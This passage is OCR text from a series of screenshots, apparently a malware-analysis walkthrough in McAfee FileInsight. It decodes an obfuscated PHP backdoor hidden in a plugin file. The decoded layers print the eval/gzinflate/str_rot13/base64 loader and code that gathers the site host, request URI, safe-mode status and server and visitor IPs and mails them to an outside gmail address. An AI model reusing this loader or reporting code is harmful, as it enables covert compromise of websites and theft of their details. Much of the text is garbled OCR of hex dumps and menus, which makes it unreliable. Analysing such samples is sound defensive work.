g8LHtduQGsI55B02ZtaYhWu’ k+lSBaXJlbp1c5jm}T§ﬁiBE§?’ ¥ ﬁtﬁ+£%%@mEicw3%pmj +35UgzV4mgne+PIyo6huHOLA xr IRyrZgnwii+FEF20z PRCLapCPcoFEhE 6Ua90uj
8ap2RO00b/wVnRnlkPoyAAbwPbeeYrPXcLIU4EZtEMWrSe utgsiﬁlc Vel & qgPs2dTashoz 57 0t Ny jwe £OMxUy 1 YWMH 6NALNNS i fevRRMEND TpQo9yn/MxbcBzz 1HWFrB/uCeDns / 180y/UDT z+F

sPOQfEdpZiiF3I27RVSASHHU/OEWwWWE z5b4 yPwyeXMVo2ZWEz1 LgmBi IMTDZB+7XG5+sz2noyutdQ74h5) IxTGW3MaxFecQhC8 JjvFsiWTFk TNpoW2RKtU210411 SvyTO0GHsa0ON+4RvyRAePAE0x5gFD/1Z20eIxxSemr+Ap]

BSUSBGETEGELfCPOXRI T+0CXEG]g/w30UQXCPugF+R1iHcuZ 6Tl inwY4uSYHOJ1iFSkg7ekK2VyISfH6hRD4ACPI TcFc6YXTSXngK2D6 vl / wBX POLXMYMAMYvx 7 10MaalLcD3I00FYFOSOMO TmFPi714g2I9NISvEkypdve
zzPOkhHV3JE6ryITMICpAhpGmW1ShTiRATOkdyMivdeyCE/TIgOWE A8 Bmys+X1lejoH+3P2Id20Jgv4vAMSERYFfgnF/wyLr 31 VHgrOERYW3gZ JEMcGyFefogT 03 ¥ xmyNvpabVegSuveX071VUafHTRKugd60BpvL 001k

7 Navigation D d ho3cBhJgAbHZBIqCKkZrOfNC Sh9bTY JxmmNpkbkUjTRtbgY¥8 IThSNKSK1D e+ 7kHueS5USGEw3p]1E2ZFb3 91 hwDnyA6BHED1I4ts8Tn2Be3PXTW60gaNdzE9GngOus lUpz¥U21hc¥Yj2C1/ 5micMLZm1 TOMH+ 9YMEY /] Z¢
yFiX1/EbviazgUE3roUirITpSgB2h50glLBsUiLRLAKEhtgsdS/ rHIXE8+0udNkoy+Ts5CaceHnkH32x6DI LvaJF6]25LcHgGTPrMeqovelfR/TiS/ zfkdm2 /McO9BRvEXGTA/ATOMYUXLulZ1R1 rGHOC2wHEENgFD1UE
rbS87Fui/Z2+8+1LYFE4AmBf 1 +kSmATwmiW ] fHD20dH4R3k+NNJhJIXDGIaxu5,/U4f4PsyD2gtcgelE+fvY+abDQvi BaKEULL1 IJZy4 LMWGZFFsWyzaXYFnkZ2gXLEmfx0/VhbiGs0aWu64MWbjB2CraHauQY+Tecu7LuRWE

BE HEX 2FIVOYKEdALFPiRVNt 7UhGLYWVrPV/DuymxR,/ 1 JCTgMtKoe6054Y3gI PUom386/ L8060 TpOgqx0250x2RITIImH9PpLETyLvDSDSUz TTZzr VY 39eV+6bIRKJous/McdAtcRYs5aJZgVdISGMM/ 0z007cC0] Tkgg6Sc IV
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U McAfee

- Plugins a
Mavigation fb0e2a%9chalaibd081a7e281f07... X

X supported for HTML, OLE2, PE and Flash. <?php eval (gzinflate(str rotl3(basefd decode('5X17k5r¥1vifz6hk638HTz0doRZIWANLZNDPJe TyBoNItCAGzp0XcTZCL] ICIp85gf9fegRRtnXindvokgliskK+7L2Th903Ruxl+vV+v3ajknrxA0Xz4n/ A
nz//nP3//2w8aN3cRcpW75a%sgoNMPME rAVNROKAFCYkrD2ezu/ fBInF39G9 1 pwtXRemdwl0bi TLOksFIDcHL1 00OKK ewlaonD 7 ftwwSOvbYvweorHRAEqoXaz f2wFu2dD2X2Hov]1 BAmdfodvigotn¥+wXsGz 51/ 0eH:
seGucpTWhxr9/CiM4AegOYwi1APT2X5W18X/ TzvovgBE8Ehdfe81 3DYNcEiOMIrezTglGoLv+sytg/nethzfEzb8WEMpYZhVe/di dwnme+vE3gMeu3+gimehuwl aS6JdRryot+icegqpiwe smoNOVSieVFRUYLfwwZccoE4E
envwp 6hBkEmAuVrlg7DoJ4sSewarP3NDse8J3J4BoDwbL ] xHg8PbTg3/akyYCEfvRdh¥YnTX /355 9crUWsd+heHxMmUi hTul ¥TC2mOXHUzHME4 LsrwiaXxB1V3H+g+GuzZeGr5teGrrbl 3b8TjROav4DvVp0lb ) 6NWQT:
82G+bEBSH4+L1rTrcHg3chBYXEJiiLgjG2384GEfLEACEiXi+/00]VCnx88sDghs/EWTxEcMkbOIS fnbEPT IMegFLgfpe TEId+sMOBDREaVV 1 Z9aXSr+4+Mvadf4CLT0aA9%urdEovTrzv40JgIsEXnz]l /bPX8c0e0bT z1
75fYpu/PxrmPsONBNgFTaiDCZ4 THoyM6uwKia6R+jeD+nbOEyvo0j8DN3 /8 frvNUkSfOsf6I5ih/jWE59VZ3B6T+kb6eatrL6FkBA 7/ 1ESwvS6vn5vi998/cg51 fWlySZS5LEsnhg2TplBMhl AgfvkBt26JgHYg+u3j30C
vjuZS3B0ThEjHOSHC]+yn+7k77S0ivatf/PEbUBgHhIYLUQLxVXyed 3UKWnugV5dV10HCc+sA0T1F23GrTr22sZr0PrBot kXMuywS LauKDSgMESSC9iI3mirOr InGRKORG61grecz3PuXUS2I12viInl JiskjOESoZ+mEVE
UnKeSuucivUged+McPmI 6gQlY0Z/ oPvoHdD/ I34mLEFViu/w3tY¥yOMw2Clsd8Xo9vWe3Tg2dkuVhCIL7gBt 91682 JCRhLzS I ZPgy3sVYUK1AASCOmE/ 2 YEX SM4ui +mpnbHZCOBWC9ChwP ] 1adBmgaNg382/1trVAYTt
G3GTHSS51xhNL1TM5A74+B/atMLYPYVEGHZzHNa ] Yopex31s0T 5Xa0nNms JAH3MbgECMb2 kwBnbMSbnZDrUBKzMWd2GJMkGEZ520Gal TXbgZvzHWOIFGOCEXss1GG2pN+VHNY 9Fe DS kxzA0G2k3czho 7T3M3TnHZgachufall
BfgcpaMQZS+taQifgxl jpOpx0Xet+5TNIDeccIMVLIPOHMRXedFSESNftkIMV,/DNHLAfmANWjVO+Chzzi jXyuarw6TIPjOmHGkiu370px202c0Zj rIimwgvgCeudkwGILtTMZ550/ 2ZKRFmeMMfyA/ Loudxi fh25p02y3C5e

bNE1V4y4o0bDS55PkLu0JaM4RBZ0rQkoE3wing JGOdDFBcebECSV3pErwVemt V7 ThEfaZr ZgXHGG1IKIE1 LeKpEEVALE
OlHSNR5]1r3PAESG4ENdNEcmgyOM2bLGhXrPel0rWIQs4r6M7 8E1b+yyi SmMeo6XnWESulmyzBZ2xVec603TBTVEZY

If you do nOt modify this table bsxmMDIS1PYRo+CcaEaHcMyNSS8] 8aMzr IVmmRr FPHS+NWLENTMELN+11h5pmILWS5cta00I J6nWW 7] SoH0r5JiP0ljhe

OPSc2dJRsZCaLkNZZqu2JBQtEC+N5026DokbsVkTdIc8bobCxmDafinrOPtoea3IGPONEZe00x07 PYMEtpagLSxX 207

the plug|n works as normal BASE64 decode XaZrRbcEKSNE38EeFD4+x08 3M0T1+9CaaCKpzayA524NwT/ qecLECSNISL2MQY 7Dr JMBrX 1 ShT6vh8nTmYgfoDNz

snm/jta070ITEVEs/VpuFSvsgY 7TEJ+7Xpuy6VSZ 7eRR4KWwadRsT2uozIrviNhei 04TdgESGEIZ5NMOY 0T SdUbLBxUE

g8LHtduQGsIS5Bo2ZtaYhWuT7k+15BaXJ1bn s | ] W Pl S 2 ol 35U0gzVimgnec+PIyo6huHOL4xr IRyrZgnwii+FRKF20z2PWCLapCPcoFBhE6U=90u]
Bap2R00b/WVnRnlkPoyARbwPhbee¥rPXd § Custom basefd decode v1YWMWEeNALNNS i fevREMEND TpQo9yn/MebcBzz 1HWFrE/uCebns/180y/UDT z+F
sPOQfEdpZiiF3I27RVSASHHU,/ OEwwWWE 2 iATFkTNpoW2KtU210411i5vyTOGHsaQN+4RvyAePd80x5gFD/1Z20eIxxS6mr+Ap]
BSUERETEGBEECPOXRI T+0CKEC] g/ w30y Enter base6d table: | ABCDEFGHIUKLMNOPQRSTUVWXYZabcdefghijkimnopqrstuvyz0123456789+/=] 6vC/WBXPOLXMXMAMVvx710MaaLcD3I00FYFOSOMOTMEP1714g2 I 9NISvEkypdve
zzPOkhHV3JEryITMICpAhpGmWlShTiRATOREyMIivAey 6/ TUgUNE A8 My ST e JoHT3P2 TdZ0JgvavAMSEBYFIgnE/wy L 91 VHgr OERyW3gZ JEMcGyFefogT 03 Y xmyNvpabVegSuveX071VUafHTRKugd60BpvL 001k

ERI IR Bz Structures 3] Decode ho3cBhJgAbHZBIqCkZrOfNCSh9bTY JxmmNpkbkUjTRtbgY¥8IhSNKSE1D e+ 7TkHueS5USGEw3p]1E2ZFb3 91 hwDnyAGBHED1I4ts8Tn2Be3PXTW60gaNdzE9GngOus lUpz¥U21hc¥Yj2C1/ 5micMLZm1 TOMH+ 9YMEY /] Z¢
yFiX1/EbviazgUE3roUirITpSgB2h50glLBsUiLRLAKEhtgsdS/ rHIXE8+0udNkoy+Ts5CaceHnkH32x6DI LvaJF6]25LcHgGTPrMeqovelfR/TiS/ zfkdm2 /McO9BRvEXGTA/ATOMYUXLulZ1R1 rGHOC2wHEENgFD1UE
rbS87Fui/Z2+8+1LYFE4AmBf 1 +kSmATwmiW ] fHD20dH4R3k+NNJhJIXDGIaxu5,/U4f4PsyD2gtcgelE+fvY+abDQvi BaKEULL1 IJZy4 LMWGZFFsWyzaXYFnkZ2gXLEmfx0/VhbiGs0aWu64MWbjB2CraHauQY+Tecu7LuRWE
2FIVOYKEdALFPiRVNt 7UhGLYWVrPV/DuymxR,/ 1 JCTgMtKoe6054Y3gI PUom386/ L8060 TpOgqx0250x2RITIImH9PpLETyLvDSDSUz TTZzr VY 39eV+6bIRKJous/McdAtcRYs5aJZgVdISGMM/ 0z007cC0] Tkgg6Sc IV
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| Operations New tab is created for the
output of the plugin

Navigation O I ERERTGELEE R AR TSR T Output of Custom basebd decode*

X supported for HTML, OLE2, PE and Fiash. 3C 3F 70 68 70 20 65 76 61 6C 28 €7 TA 69 6E 66 |<?php eval (gzinf
6C 61 74 6528 7374 72 5F 72 6F 74 31 3328 62 |late(str_rotl3 (b
€1 73 65 36 34 5F 64 65 63 6F 64 6528 27 E5 TD|ase64 _decode ('
7B 93 9A D8 D6 F7 DF CF A9 3A DF C1 D3 CF 47 68 | { : Gh
459956 00DB599C 33 C9TBBCBLIAOD22D08|E V ¥ 3 { -
08 33A745DC 4D 90 8B 8C 80 88ATCEGATFD7| 3 E M '
DE 80 A2 AD 9D 78 A7 26 F3 A4 AA 2B OA FB B2 F6 X

4D BF 68 DD 1B B1 D7 EB D5 FA FD DA 8E 49 EB C4
0D 17 CF 88 E7 FF FC FB DF DC FB C6 B3 7F BE 64
79 27 CF 7E 6B 2F OE 51 91 BDE5 7F BB 36 F4 AS
EE 5D FF FE F9 F3 FF F9 CF DF FF F6 C3 C6 8D DD
C4 5CAS 6E D2 6B DB 20 A0 D3 OF 99 7A C0 54 D4 o go . .
4E 90 07 C2 62 4A C3 D9 EC EE FD F0 49 9C 5D FD Modified region is bookmarked.
1B DD 69 C3 E5 D1 7A 6E 30 95 06 E2 EC BD 24 BO i

52 03 70 72 E5 DO E2 8A EB 0D 12 A2 70 FB 7E DC
30 49 OB DB 62 FC 1E A2 B1 D1 00 4A A8 5D AC DF

DB 01 6E D9 DO F6 5F 61 ES BE 5F 00 99 D7 EE E2 You can easily jump and Select this

FB 60 72 DS D7 FB 05 EC /1B 3E &2 FCE7 87 D8 36 . . .
D3 ES SBEE4 30 BE DS A1 07 EF 27 B7 FD 01 OC &3

S8 D3 4A FF FCEF DF FF;73 FB B1 FD 55 2B 1E 1A reglon by CIICkIng the bOOkmark.
E1 ASED 68 71 AF DF C2 ' 8C CE 2R 41 8C 3C D4 03
FEDS 7TES6 DV CS FFEF ! 3BFDBE 00 7C 2ZA 17 TA
TBCS 770D 83 5CEARZ4 0C 26 BT B3 4E AD 46 AQD
BEFEEB3 2B 60 FE 77 AD 87 37 C4 CDBF 16 E8 CA
S8 66 155CFDDEBB C2, 7T9BAFAFL 77 A8 CT AE
DF E8 22 99 E8 6E C3 56 92 ES 97 4A AF ZA 3E 01
Values C7TAAAS FC1EB2 eA 0D D1 SE 62 79 51 51 BS 82
DFC3065C7281 38137381 CEB15 9D 4A 88 EA
07 32 2F 52°77C 60 D4 83 /16 2F 5E 60 OE BS F7 CF

Byte &0 2A DC 30 83 D9 62 D7 A6 BF OA 7A 84 19 04 99 6B
WORD 16138

DWORD 1752186684 Output

ASCI <7php eval(gzinflate(str_
Unicode FIRIIIIIIIIIIIIIIIIIIIIIY

&

EPQVENRENINY BE Structures [ Decode

Decoded 11777 bytes with custom baseésd table from offset 0x2e to Ox2eZe.
2Added a bookmark to decocded region.

BN e Bookmarks  |B§ Calculator By R Scripting

) & = e g



v B2 Filelnsight - Output of Custom basefid decode” - b4

Home Edit Search

=[» Operatinne |
Baczic L4
h_ Plugi

Compressicn 4
Crypto

Decode ¥
SRR Misc » Binary data to hex text o) Output of Custom base64 decode”™ X
X support  pgpging y Binary data to decimaltext | 70 68 70 20 65 7661 6C 268 67 TA 69 6E 66 |<?php eval (gzinf A
Search » Binary data to octal text 74 65287374 72:5F 72 6F 74 31 33 28 62 |late(str_rotl3 (b
Visualization P Binary data to binary text 65 36 34 5F 64 6563 6F 64 65 28 27 ES TD|ase 64 decode (':
XOR » Custom baself encode SADEDe F/IDFCF A9 3ADFC1 D3CF 47 68 ': = Gh
Check for update Custom basel?2 encaode S5e 00DB 59 9C 33, C97BEBC 81 A0 D2 2D 0B{[E W Y 3 -
M i Customn base58 encode A7 45 DC 4D 90 8B:8C 80 88 AT CE 6A TF D7 3 E M )|

A2 AD 9D 78 A7 26 !F3 A4 AA 2B OA FB B2 F6& X & +
Customn based5 encade €G DD1BE1 D7 EB'DS FAFD DA BE 49 EB C4{|M h I

CFBBE?FFFCFB DFDCFB Ce B3 7TF BS 64 d
CF 7E B 7! k/ &

e T e Rotate alphabet characters in selected region by the [
- . FE FBE F9 specified amount (default: 13)

AD 6EDZ 6B DB 20:A0 D3 OF 9% 7TA CO 54 D4 A n k z T
07 C2 62 4A C3 DS ECEE FD FO 43 SC 5D FD{|N bJ

1B DD 69 C3 E5 D1 7TABE 30 95 06 E2 ECBD 24 BO i zn0
520370 72 E5D0E2 8A EBOD1ARAZ 70 FB TE DCI|R pr P
30 45 0B DB &2 FC 1E A2 'BE1 D1 00 4A A8 SDAC DF(0T b J ]
DB 01 €E DS DO Fé SF €1 'ES BE 5F 00 89 D7 E§ EZ2 n a

FB 60 72 D9 D7 FB 05 EC!1B 3E &2 FCE7 87 D8 36 ‘r >b 6
D3 ES 9B E4 30 BE DS A1 .07 EF 27 B7 FD 01 OC &3 !

58 D3 4A FF FC EF DF FF:73 FB B1 FD S%m? is :Elllllnrﬁngj,; Pclease Wait...

Custom basebd encode

Unicode escape
URL encede

4 =

E1 A9 ED 68 71 AFDF C2!8CCE 2A 41 8
FBE D9 7TE 56 D7 C5 FF EF! 3B FD BE 00 7C 2A 17 TA i
TBCS 77 0D 83 S5CEAR 24 :0C 26 B7 B3 4E AD 46 RO w
BE FEB3 2B 60 FE 77 AD 87 37 C4 CD BF 16 ES CA +° W
S8 66 155CFDDEBBC2,7T9BAFAFL 77 AB CTAE|XE v W
DF E8 22 99 E8 6E C3 56: 92 ES 97 4A AF 2ZA 3E 01 - n v J *>
C7TAAAS FC1E B2 eA 0D D1 SE 62 79 51 51 BS 82 j 1
DF C3 06 5C 7281 3813:73 81 CB 15 9D 4A 398 EA vhr &
07 322F 52 7C 60 D4 8316 2F SE 60 OEBS F7 CF|} 2/R | i
Z2A DC 30 83 D9 62 D7 A6 ;BF OA 7A 84 19 04 393 6Bi|i* 0 ]

£y
74}
=2
3]

EPQVENRENLIY B Structures [ Decode

oo
>

o

o bt
(@]

@]

[ oxze EBEU3-30:7 7E...

Output

Bookmark

£ Values MelbElucus BE Calculator LN A Scripting

Press F1 for help Offset 2Eh (46) Length 2

"y Fataosk 433 PM
s i : -« Rl ®ADQD o0




v B2 Filelnsight - Output of Custom basefd decode* - >

Home Edit Search Plugins Windows Help

L McAfee

k Plugins ol
MNavigation O I ERERTSELEE R ARkl Tl Output of Custom basebd decode*

X supported for HTML, OLE2, PE and Flash. 3C 3F 70 68 70 20 65 7661 6C 28 67 TA 69 6E 66 |<?php eval (gzinf
6C 61 74 6528 73 74 72:5F 72 6F 74 31 33 28 late(str_rotl3 (b
61 73 65 36 34 5F 64 6563 6F 64 65 ase64 decode ('}
7B 93 92 D8 Dé F7 DF CF A9 3A DF C1 D3 CF 47 { )
459956 00 DB 59 9C 33'C9 TBRBC 81 A0 D2 2D 0B{|{E V ¥
08 33 A7 45 DC 4D 90 8B 8C 80 88 A7 CE 6A 7F D7 M
DE 80 AZ AD 9D 78 A7 26 ' F3 A4 AA 2B OA FB B2 Fé X
4D BF 68 DD 1B B1 D7 EB D5 FA FD DA 8E 49 EB C4
0D 17 CF 88 E7 FF FC FBE DF DC FE C6 B3 7F B8 64
79 27 CF 7E 6B 2F OE 51 ' 91 BD ES 7F BB 36 F4 AS
EE 5D FF FE F9 F3 FF F9 CF DF FF F6 C3 C6 8D DD
C4 5CAS 6E D2 6B DB 20 /A0 D3 OF 99 7A CO 54 D4
4F 90 07 C2 62 4A C3 D9 EC EE FD F0 49 9C 5D FD:
1B DD 69 C3 E5 D1 7A 6E ' 30 95 06 E2 EC BD 24 BO
52 03 70 72 E5 DO E2 8A'EB 0D 1A A2 70 FB 7E DC
30 49 0B DB 62 FC 1E A2 'B1 D1 00 4A A8 5D AC DF'
DB 01 6E D9 DO F6 5F 61 'ES BE 5F 00 99 D7 E8 E2
FB 60 72 D9 D7 FB 05 EC 1B 3E 62 FC E7 87 D8 36
D3 BS 9B E4 30 BE D8 A1 07 EF 27 B7 FD 01 0C 63
58 D3 4A FF FC EF DF FF ;73 FB B1 FD S%m?
El ASED 68 71 AFDF C2:BCCE 2A 41 8

FB DS 7TES6 D7 C5 FFEF!3BFDBE 00 7C 2A 17 TA
7B C9 77 0D 83 5C EA 24 /0C 26 B7 B3 4E AD 46 A0
BB FE B3 2B 60 FE 77 AD: 87 37 C4 CD BF 16 E8 CA
58 66 15 5C FD D8 B8 C2 79 BA FA F1 77 A8 C7 AE
DF E8 22 99 E8 6E C3 56 92 E8 97 4A AF 2A 3E 01
C7 AAAS FC 1E B2 6A 0D D1 5E 62 79 51 51 B9 82
DF C3 06 5C 72 81 38 1373 81 CB 15 9D 4A 98 EA
07 32 2F 52 7C 60 D4 83 16 2F 5E 60 OE B9 F7 CF
(0 oxze BEYI-T0:7 7L 2A DC 30 83 D9 62 D7 A6 BF OA 7A 84 19 04 99 6B

Gh

a3 -
3 { —

EPQVENRENLIY B Structures [ Decode

£ Values MelbElucus BE Calculator [=] Cutput [llsc RISl
Press F1 for help Offset 2Eh (46) Length 2
433 PM

= o . f o BROROBDEA D 0




w B2 Filelnsight - Output of ROT13* = >

Home Edit Search Plugins Windows Help

U McAfee

Navigation ! fb0e2aladc6alasbd081a7e281f07... *  Output of Custom basebd decode” > [Nelfiamnad:lo]NESS 1b - %

X supported for HTML, OLE2, PE and Fiash. 3C 3F 70 €3 70 20 65 76 61 6C 28 €7 TA 69 GE <?php eval(gzinf
6Cc 6174 6528 73 772 /5F 72 6F 74 31 33 28 late(str rotl3(b
61 73 65 36 34 5F 64 65 63 6F 64 65 28 27 ES ase€4 decode ('
7B 93 92 D8 D6 F7 DF CF A9 3A DF C1 D3 CF 54 {
52 99 49 00 DB 4C 9C 33 ' C9 7B BC 81 A0 D2 2D R I L
08 33 A7 52 DC 5A 90 8B 8C 80 88 A7 CE 77 7F 3 R Z
DE 80 A2 AD 9D 6B A7 26 F3 A4 AA 2B OA FB B2 k
SABF 75 DD 1B B1 D7 EE D5 FA FD DA 8E 56 EB
0D 17 CF 88 E7 FF FC FB DF DC FE C6 B3 7F B8
6C 27 CF 7E 78 2F OE 44 91 BD ES 7F BE 36 F4 AS
EE 5D FF FE F9 F3 FF F9 CF DF FF F6 C3 C6 8D
C4 5CAS 61 D2 78 DB 20 A0 D3 OF 99 6D CO 47 D4
41 90 07 C2 6F 57 C3 D9 EC EE FD F0 56 9C 5D
1B DD 76 C3 E5 D1 6D 61 30 95 06 E2 EC BD 24 BO
45 03 63 65 E5 DO E2 8A EB 0D 1A A2 63 FB 7E DC
30 56 0B DB 6F FC 1E A2 'B1 D1 00 57 A8 5D AC
DB 01 61 D9 DO F6 5F 6E ES BE 5F 00 99 D7 E8 E2
FB 60 65 D9 D7 FB 05 EC 1B 3E 6F FC E7 87 D8 36
D3 BS 9B E4 30 BE D8 A1 07 EF 27 B7 FD 01 OC
4B D3 57 FF FC EF DF FF . 66 FB B1 FD 48 2B 1E 1A
El A9 ED 75 64 AF DF C2 BC CE 2A 4E 8C 3C D4 03
FEDY 7TE 49 D7 CS FFEF 3BFDBE OO0 7C 2R 17 6D
7B C9 6A 0D 83 SC EA 24 0C 26 B7 B3 41 AD 53 A0
BB FE B3 2B 60 FE 6A AD 87 37 C4 CDBF 16 EB8 CA
4B 73 15 5CFD D8 BB C2 6C BAFA F1 6GA RS CT AE
DF E8 22 99 E8 61 C3 4992 E8 97 57 AF 2A 3E 01
Bookmarks 7 C7 AAAS FC 1E B2 77 0D D1 SE 6F 6C 44 44 B9 82
LAG0G DF C3 06 5C 65 81 38 13 66 81 CB 15 9D 57 98 EA
: 07 32 2F 45 7C 60 D4 83 16 2F 5E 60 OE B9 F7 CF
[ owze BEYI-T0:" FE.. 2A DC 30 83 D9 6F D7 A6 BF OA 6D 84 19 04 99 78

3 |

&

EPQVENRENINY BE Structures [ Decode

Output

Decoded 8790 bytes from offset OxZe to 0xZ2283.
2Added a bookmark to decocded region.

£ Values melbrlucus B Calculator B8 ER Scripting

Offset 16h (22)

% v wmlapomE A @




v B2 Filelnsight - Output of ROT13* - >

Home Edit Search Plugins

-[> Operation  Basic |
L E—

- I

r i

Compress

k. Plugins Enceding * Bzip2
Mavigation l:hsc. : ! fb0e2 E;p 281f07... X Output of Custom basefd decode® X O N 0] NES.
arsin
X Supported Semhg v LZMA C 3F 70 68 70 20 65 7661 6C 28 67 TA 69 6E 66 |<2?php eval(gzinf A
Visualization » LZMTI C6l746528737472.5F 72 6F 74 31 3328¢62|1late(str_rotl3(b
XOR » g LZO 173 65 36 34 5F 64 65163 6F 64 65 28 27 ES TD(ase64 decode ('}
e PEMd B 93 9A D8 Dé F7 DF CF A3 3A DF C1 D3 CF 54 75i|i{ 2 Tu
Version info QuicklZ 29943 00 DB 4C 3C 33,;C37TBBC 81 A0 D2 2D 08{|R I L 3 { =
8 33 A7 52 DC 5A 50 8B:8C 80 88 A7 CE 77 1F D7 3 R & W
s E 80 A2 4 Decompress selected Deflate compressed region that does L& T
- Z BF 75 Inothave header and checksum (equivalent to gzinflate() in PHP language) Vv
Zlib (inflate] by 17 cF 88 E7 FF FC FB DF DC FB C6 B3 TF B8 71 q
Zitandard o 27 CF 7E 78 2F OE 44 91 BDES 7FBB 36 F4AS|1' x/ D 6
EE SD FF FB F9 F3 FF F3:CF DF FF F& C3 Cé 8D DD ]
C4 5CAS 61 D2 78 DB 20:A0 D3 OF 89 6D CO 47 D4 A\ a x m G
41 90 07 C2 &F 57 C3 DS EC EE FD FO 56 3C 5D FDi|A oW v
1B DD 76 C3 E5 D1 €D 6130 95 06 E2 EC BD 24 BO v ma 0 5
45 03 €3 65 E5 DO E2 8A EB 0D 1A AZ 63 FB TE DCI|E ce c
30 56 OB DB 6F FC 1E A2 'B1 D1 00 57 A8 5D AC DF |0V o W
DB 01 €1 DS DO Fé SF 6E ! ES BE 5F 00 89 D7 E§ EZ2 a n -
FB 60 65 D9 D7 FB 05 EC!1B 3E éF FCE7 87 D8 36 = >0 6

D3 BS 9B E4 30 BEDEB8 AL O7 EF27TB7 FDO1 OC 70 0 ! P .

4B D3 57 FF FC EF DF FF ! 66 FB B1 FD 4 Axna W T

E1 A% ED 75 64 AF DF C2 ! 8C CE 22 4E Bﬁgr[lzm? is Eynlﬁng[,< please Walt...
FB D9 7E 49 D7 C5 FF EF ! 3B FD BE 00 7C 2& 17 6D I 5 * m

TJECY9 GACOD B3 5CEAZ4 0C 26 B7 B3 41 AD 53 ACQ|i{
BB FE B3 2B 60 FE 6A AD 87 37 C4 CD BF 16 E8 CA +° 7 7

4B 73 15 5C FD D8 B8 C2 ! 6C BA FA F1 6R A8 C7 AE|Ks 1 3
DF E8 22 99 EB 61 C3 49:92 E8 97 57 AF 2A 3E 01 " I W *>
C7TAAASFCI1ERBZ2 77 0D'D]1 S5E 6F 6C 44 44 B9 82 W “olDD
DF C3 06 5Ce5 81 38 13'e6 81 CB 15 9D 57 98 EA Ye 8 £ W
07 32 2ZF 45 7C 60 D4 83 .16 2F S5E 0 OE B9 F7 CF 2/E|" £
2ADC 3083 D9 GF D7 A6, BF OA D 84 19 04 99 78ii* 0O

.
4
o
e
05}

EPQVENRENLIY B Structures [ Decode

w

[ ox2e B{EU3-70:7 ...

£ Values MelbElucus BE Calculator LN A Scripting

Press F1 for help Offset 2Eh (46) Length 2

i x 4:34 PM
g _ o GClROOEAD oo




w B2 Filelnsight - Output of Raw inflate® = >

Home Edit Search Plugins Windows Help

U McAfee

Mavigation ! fb0e2aladc6alasbd081a7e281f07... >  Output of Custom basebd decode X Output of ROT13* x [Nl d:EaTi Fii-allib 1 F »x

X supported for HTML, OLE2, PE and Fiash. 3C 3F 70 68 70 20 65 76 61 6C 28 €7 TA 69 6E 66 |<?php eval (gzinf
6C 61 74 6528 73 74 72 72 6F 74 31 3328 62 |late(str_rotl3 (b
61 73 65 36 34 S5F 64 65 EF 64 652827 6572 |ase64 _decode ('er
72 6F 72 5F 72 65 70 6F 74 €9 6E 67 28 30 29 |ror_reporting (0)
3B 0D OA 69 66 20 28 21 7373 657428245F|; if (!isset(S5_
53 45 53 53 49 4F 4E 5B 62 61 6A 61 6B 27 5D|SESSION['bajak"']
292909 7B 0D OA 24 76 73697463 6FT756E()) { Svisitcoun
74 203D20303B0DOA 2477 6562203D2024|t = 0; Sweb = §
5F 53 4552 56 45 52 5B 48 54 54 50 5F 48 4F| SERVER["HTTP_HO
53 54 22 5D 3B 0D 0A 24 €6E 6A 20 3D 20 24 5F|ST"]1; S$inj = §_
53 4552 56 45 52 5B 22 45 51 55 45 53 54 5F|SERVER["REQUEST _
5552 49 22 5D 3B 0D OA 62 6F 64 79 20 3D 20 |URI"]; Sbody =
22 4A 43 45 20 53 68 65 6C 73 20 62 6F 67 65|"JCE Shells boge
6C 20 5C 6E 24 77 65 62 69 GE 6A22 3BODOA|1 \nSwebS5inj";
24 73 €1 66 65 6D 30 64 20 3D 20 40 69 6E 69 |SsafemOde = @ini
5F 67 65 74 28 27 73 61 65 5F 6D 6F 64 65 27| get('safe mode’
29 3B 0D OA 69 66 20 28 24 7361 66 656D 30(); if (!Ssafem0
€4 6529 20 7B 24 73 65 7572 69 74 79 3D 20 (de) {Ssecurity=
22 53 41 46 45 5F 4D 4F 4520 3D 20 4F 46 46 |"SAFE_MODE = OFF
22 3B 7D 0D OA 65 6C 73 20 7B 24 73 65 63 75| " ; else {Ssecu
72 69 74 79 3D 20 22 53 46 45 5F 4D 4F 44 45 |rity= "SAFE MODE
20 3D 20 4F 4E 22 3B 7D ODOA24 73657270 = ON"; ; Sserp
€5 72 3D 67 65 74 68 6F 74 62 79 6E 61 6D 65 |er=gethostbyname
28 24 5F 53 45 52 56 45 5B 27 53 45525645| (5 SERVER['SERVE
52 5F 41 44 44 52 27 5D 3BODOA24 69 6E6A|R_ADDR']); Sinj
€5 6B 74 6F 72 20 3D 20 65 74 68 6F 73 74 62 |ektor = gethosthb
Bookmarks 1 79 6E 61 6D 65 28 24 5F 455256 4552 5B 27 |yname (5 _SERVER(['
52 45 4D 4F 54 45 5F 41 44 52 27 5D 29 3B OD|REMOTE_ADDR']) ;
2R OA 6D 61 69 6C 28 22 73 74 6F 72 61 6E 34 30| mail ("setoran40
(3 ox2e error_reporting... 34 40 67 6D 61 69 6C 2E €F 6D 22 2C 20 22 24 |4@gmail.com™, "5

EPQVENRENINY BE Structures [ Decode

Output

Decompressed 8790 bytes from offset OxZe to 0x2283.
2Added a bookmark to decompressed regicon.

alues IFELLLAEYS B Calculator B8 ER Scripting

% - T




v B2 Filelnsight - Output of Raw inflate® - >

Edit Search Plugins

Copyto new e

=[» Operatior

Compression 4 Bookmark c - o _ ' MCAfee_
Crypto 5 Cut binary to clipboard opy selected region (the whole file if not selected) to a new file
h- T Encoding L4 Copy binary to clipboard
Misc L4 Paste binary from clipbeard
MNavigation Parsing b Delete before a7e281f07.. X Output of Custom basebd decode™ X Output of ROT13* X ReIN {0 TR 1l 4
X Supported 5. ¥ Delete after 3C 3F 70 68 70 20 65 7661 6C 28 67 7TA 69 6E 66 |<?php eval (gzinf
Visualization L4 Fill 6C 61 74 65 28 73 74 72:5F 72 6F 74 31 33 28 62 |late (str_rotl3 (b
XOR LS Invert 61 73 65 36 34 S5F 64 65163 6F 64 65 28 27?65 T2 |asebd decode('ger
Check for update Reverse order T2 6F T2 5F 72 65 70 6F 72 74 69 6E 67 28 30 29 (ror_report ing (0)
Version info Swap nibbles 3B 0D 0A 69 &6 20 28 21 ;69 73 73 65 74 28 24 5SFi|i; if (!lisset (5_
Swap two bytes 53 45 53 53 49 4F 4E 5B!27 62 61 6A 61 6B 27 S5D{|SESSION['bajak"']
To upper case 292503 7B0ODO0OA 24 76:89 73 €9 74 €3 6F 75 6E{|)) ) { Swisitcoun
To lower case 74 20 3D 20 30 3B 0D OA 24 77 &5 62 20 3D 20 24|t = 0; Sweb = 5
Swap case SF 52 45 52 56 45 52 5Ei22 48 54 54 50 SF 48 41F _EER'\,-'ER:‘I’H'II'IP_HO
